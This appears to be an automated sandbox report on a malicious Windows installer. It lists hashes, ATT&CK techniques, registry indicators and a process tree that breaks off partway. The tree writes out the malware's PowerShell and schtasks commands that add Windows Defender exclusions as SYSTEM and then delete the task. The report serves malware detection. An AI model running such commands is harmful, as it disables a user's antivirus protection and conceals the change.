ee0b41ddc74f9dd5f02e465977d7f4d9fe42457b5f5e02146b08d4c39b140521

Analysis

max time kernel
136s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 07:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.14.exe
Size 30.5MB
Sample261024-jp24aaxy6m
SHA256 ee0b41ddc74f9dd5f02e465977d7f4d9fe42457b5f5e02146b08d4c39b140521
MD5 618ff9fe82ea906a1128763ada88fb63
SHA1 9f6d4fc72ed4a3dfed3e06293a166904a2da1cdb
SHA512 25a319ba26b2fe6b087fcfc13199eb73e5c03bbf8d20d4a4ee3856833fdedb5176840d6bd339304ddd8d3a82c1722c8255a379a485f3b5801aa1054d3ec8ebe2
SSDEEP 196608:iZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYb:5C/p+HuPOc4q
TLSH
T19767181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ULZdm0.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\5g9bB8 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe
3200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	ULZdm0.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
5072	icacls.exe
3180	icacls.exe
3512	icacls.exe
4560	icacls.exe
6028	icacls.exe
5312	icacls.exe
1048	icacls.exe
796	icacls.exe
5960	icacls.exe
2004	icacls.exe
3852	icacls.exe
2024	icacls.exe
4364	icacls.exe
5980	icacls.exe
3388	icacls.exe
2592	takeown.exe
420	icacls.exe
5956	icacls.exe
5536	icacls.exe
2712	takeown.exe
4616	icacls.exe
5184	icacls.exe
3432	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
1452	h6EeQN.exe
5112	h6EeQN.exe
4208	ULZdm0.exe
5880	ULZdm0.exe
6084	ULZdm0.exe
4796	Gu13h.exe

Loads dropped DLL 6 IoCs

pid	Process
1452	h6EeQN.exe
5112	h6EeQN.exe
4208	ULZdm0.exe
5880	ULZdm0.exe
6084	ULZdm0.exe
4796	Gu13h.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5536	icacls.exe
5072	icacls.exe
5960	icacls.exe
2004	icacls.exe
3512	icacls.exe
3388	icacls.exe
2592	takeown.exe
420	icacls.exe
5956	icacls.exe
4560	icacls.exe
6028	icacls.exe
2024	icacls.exe
1048	icacls.exe
2712	takeown.exe
5980	icacls.exe
5312	icacls.exe
4616	icacls.exe
5184	icacls.exe
3180	icacls.exe
3852	icacls.exe
3432	icacls.exe
4364	icacls.exe
796	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\5g9bB8\\h6EeQN.exe\""	h6EeQN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\cXUfx8\\ULZdm0.exe\""	ULZdm0.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1012	cmd.exe
2852	cmd.exe
5428	cmd.exe
4216	cmd.exe
5616	cmd.exe
5020	cmd.exe
5612	cmd.exe
2304	cmd.exe
5164	cmd.exe
3096	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	h6EeQN.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\cXUfx8\image.png	h6EeQN.exe
File opened for modification	C:\Program Files (x86)\cXUfx8\XPSPLOG.dll	h6EeQN.exe
File opened for modification	C:\Program Files (x86)\1zd4LqeLJ\Gu13h.exe	ULZdm0.exe
File created	C:\Program Files (x86)\1zd4LqeLJ\XPSPLOG.dll	ULZdm0.exe
File opened for modification	C:\Program Files (x86)\cXUfx8	h6EeQN.exe
File created	C:\Program Files (x86)\cXUfx8\XPSPLOG.dll	h6EeQN.exe
File created	C:\Program Files (x86)\cXUfx8\thumbs.db	h6EeQN.exe
File opened for modification	C:\Program Files (x86)\1zd4LqeLJ	ULZdm0.exe
File created	C:\Program Files (x86)\1zd4LqeLJ\image.png	ULZdm0.exe
File opened for modification	C:\Program Files (x86)\1zd4LqeLJ\image.png	ULZdm0.exe
File opened for modification	C:\Program Files (x86)\1zd4LqeLJ\thumbs.db	ULZdm0.exe
File created	C:\Program Files (x86)\1zd4LqeLJ\Gu13h.exe	ULZdm0.exe
File created	C:\Program Files (x86)\cXUfx8\ULZdm0.exe	h6EeQN.exe
File opened for modification	C:\Program Files (x86)\cXUfx8\ULZdm0.exe	h6EeQN.exe
File opened for modification	C:\Program Files (x86)\cXUfx8\image.png	h6EeQN.exe
File created	C:\Program Files (x86)\1zd4LqeLJ\thumbs.db	ULZdm0.exe
File opened for modification	C:\Program Files (x86)\1zd4LqeLJ\XPSPLOG.dll	ULZdm0.exe
File opened for modification	C:\Program Files (x86)\cXUfx8\thumbs.db	h6EeQN.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	ULZdm0.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1264	sc.exe
2920	sc.exe
3352	sc.exe
4532	sc.exe
828	sc.exe
2464	sc.exe
5632	sc.exe
4716	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	ULZdm0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\SCRNSAVE.EXE	ULZdm0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\ScreenSaveActive = "0"	ULZdm0.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3148	cmd.exe
2396	cmd.exe
2224	cmd.exe
3064	cmd.exe
1500	cmd.exe
3408	cmd.exe
3816	cmd.exe
3380	cmd.exe
4540	cmd.exe
4124	cmd.exe
2500	cmd.exe
2372	cmd.exe
5880	cmd.exe
4800	cmd.exe
3904	cmd.exe
5000	cmd.exe
4860	cmd.exe
1652	cmd.exe
2572	cmd.exe
3648	cmd.exe
3756	cmd.exe
912	cmd.exe
5208	cmd.exe
5776	cmd.exe
4916	cmd.exe
6112	cmd.exe
4636	cmd.exe
2944	cmd.exe
1768	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.14.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.14.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	h6EeQN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	h6EeQN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ULZdm0.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ULZdm0.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gu13h.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ULZdm0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ULZdm0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ULZdm0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ULZdm0.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	ULZdm0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	ULZdm0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\SCRNSAVE.EXE	ULZdm0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\ScreenSaveActive = "0"	ULZdm0.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4588	schtasks.exe
2060	schtasks.exe
4556	schtasks.exe
1356	schtasks.exe
3312	schtasks.exe
3788	schtasks.exe
2116	schtasks.exe
4516	schtasks.exe
4496	schtasks.exe
5112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
5812	install.2.0.14.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe
1452	h6EeQN.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeIncreaseQuotaPrivilege	2660	powershell.exe
Token: SeSecurityPrivilege	2660	powershell.exe
Token: SeTakeOwnershipPrivilege	2660	powershell.exe
Token: SeLoadDriverPrivilege	2660	powershell.exe
Token: SeSystemProfilePrivilege	2660	powershell.exe
Token: SeSystemtimePrivilege	2660	powershell.exe
Token: SeProfSingleProcessPrivilege	2660	powershell.exe
Token: SeIncBasePriorityPrivilege	2660	powershell.exe
Token: SeCreatePagefilePrivilege	2660	powershell.exe
Token: SeBackupPrivilege	2660	powershell.exe
Token: SeRestorePrivilege	2660	powershell.exe
Token: SeShutdownPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeSystemEnvironmentPrivilege	2660	powershell.exe
Token: SeRemoteShutdownPrivilege	2660	powershell.exe
Token: SeUndockPrivilege	2660	powershell.exe
Token: SeManageVolumePrivilege	2660	powershell.exe
Token: 33	2660	powershell.exe
Token: 34	2660	powershell.exe
Token: 35	2660	powershell.exe
Token: 36	2660	powershell.exe
Token: SeTakeOwnershipPrivilege	2592	takeown.exe
Token: SeRestorePrivilege	5072	icacls.exe
Token: SeTakeOwnershipPrivilege	2712	takeown.exe
Token: SeRestorePrivilege	4616	icacls.exe
Token: SeDebugPrivilege	3200	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 2660	1452	h6EeQN.exe	91
PID 1452 wrote to memory of 5616	1452	h6EeQN.exe	93
PID 5616 wrote to memory of 4516	5616	cmd.exe	95
PID 5616 wrote to memory of 3448	5616	cmd.exe	96
PID 5616 wrote to memory of 2900	5616	cmd.exe	100
PID 1452 wrote to memory of 1012	1452	h6EeQN.exe	101
PID 1012 wrote to memory of 4588	1012	cmd.exe	104
PID 1012 wrote to memory of 4172	1012	cmd.exe	106
PID 1452 wrote to memory of 5020	1452	h6EeQN.exe	108
PID 1012 wrote to memory of 4428	1012	cmd.exe	110
PID 1452 wrote to memory of 5612	1452	h6EeQN.exe	111
PID 5020 wrote to memory of 2060	5020	cmd.exe	113
PID 5612 wrote to memory of 4556	5612	cmd.exe	114
PID 5020 wrote to memory of 2516	5020	cmd.exe	115
PID 5612 wrote to memory of 4204	5612	cmd.exe	117
PID 5612 wrote to memory of 5532	5612	cmd.exe	118
PID 5020 wrote to memory of 3932	5020	cmd.exe	119
PID 1452 wrote to memory of 2852	1452	h6EeQN.exe	120
PID 2852 wrote to memory of 4496	2852	cmd.exe	122
PID 2852 wrote to memory of 2912	2852	cmd.exe	123
PID 2852 wrote to memory of 4784	2852	cmd.exe	125
PID 2224 wrote to memory of 3212	2224	cmd.exe	131
PID 4540 wrote to memory of 480	4540	cmd.exe	132
PID 5208 wrote to memory of 1560	5208	cmd.exe	133
PID 2572 wrote to memory of 5292	2572	cmd.exe	134
PID 1452 wrote to memory of 4208	1452	h6EeQN.exe	135
PID 4208 wrote to memory of 3648	4208	ULZdm0.exe	137
PID 4208 wrote to memory of 3064	4208	ULZdm0.exe	140
PID 4208 wrote to memory of 912	4208	ULZdm0.exe	242
PID 4208 wrote to memory of 1500	4208	ULZdm0.exe	252
PID 4208 wrote to memory of 4124	4208	ULZdm0.exe	148
PID 3064 wrote to memory of 5956	3064	cmd.exe	150
PID 4208 wrote to memory of 4636	4208	ULZdm0.exe	151
PID 4208 wrote to memory of 5164	4208	ULZdm0.exe	152
PID 4208 wrote to memory of 4800	4208	ULZdm0.exe	155
PID 4636 wrote to memory of 5828	4636	cmd.exe	157
PID 5164 wrote to memory of 5112	5164	cmd.exe	158
PID 5828 wrote to memory of 1716	5828	net.exe	159
PID 4800 wrote to memory of 796	4800	cmd.exe	160
PID 5164 wrote to memory of 5964	5164	cmd.exe	161
PID 4636 wrote to memory of 2920	4636	cmd.exe	162
PID 4208 wrote to memory of 2944	4208	ULZdm0.exe	164
PID 4636 wrote to memory of 1264	4636	cmd.exe	165
PID 5164 wrote to memory of 1320	5164	cmd.exe	167
PID 4636 wrote to memory of 4976	4636	cmd.exe	168
PID 2944 wrote to memory of 5536	2944	cmd.exe	169
PID 4976 wrote to memory of 4740	4976	net.exe	262
PID 4208 wrote to memory of 2396	4208	ULZdm0.exe	171
PID 4636 wrote to memory of 4716	4636	cmd.exe	173
PID 4636 wrote to memory of 5632	4636	cmd.exe	174
PID 2396 wrote to memory of 420	2396	cmd.exe	175
PID 4636 wrote to memory of 5108	4636	cmd.exe	176
PID 4208 wrote to memory of 5776	4208	ULZdm0.exe	177
PID 5108 wrote to memory of 3716	5108	net.exe	178
PID 4636 wrote to memory of 2464	4636	cmd.exe	180
PID 5776 wrote to memory of 4364	5776	cmd.exe	181
PID 4636 wrote to memory of 828	4636	cmd.exe	182
PID 4208 wrote to memory of 3380	4208	ULZdm0.exe	183
PID 4636 wrote to memory of 4268	4636	cmd.exe	185
PID 4268 wrote to memory of 5788	4268	net.exe	186
PID 3380 wrote to memory of 1048	3380	cmd.exe	187
PID 4636 wrote to memory of 3352	4636	cmd.exe	188
PID 4636 wrote to memory of 4532	4636	cmd.exe	189
PID 4208 wrote to memory of 3148	4208	ULZdm0.exe	190

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ULZdm0.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.14.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.14.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5812

C:\Users\Public\5g9bB8\h6EeQN.exe
"C:\Users\Public\5g9bB8\h6EeQN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5g9bB8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5g9bB8\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4428
- C:\Windows\System32\cmd.exe
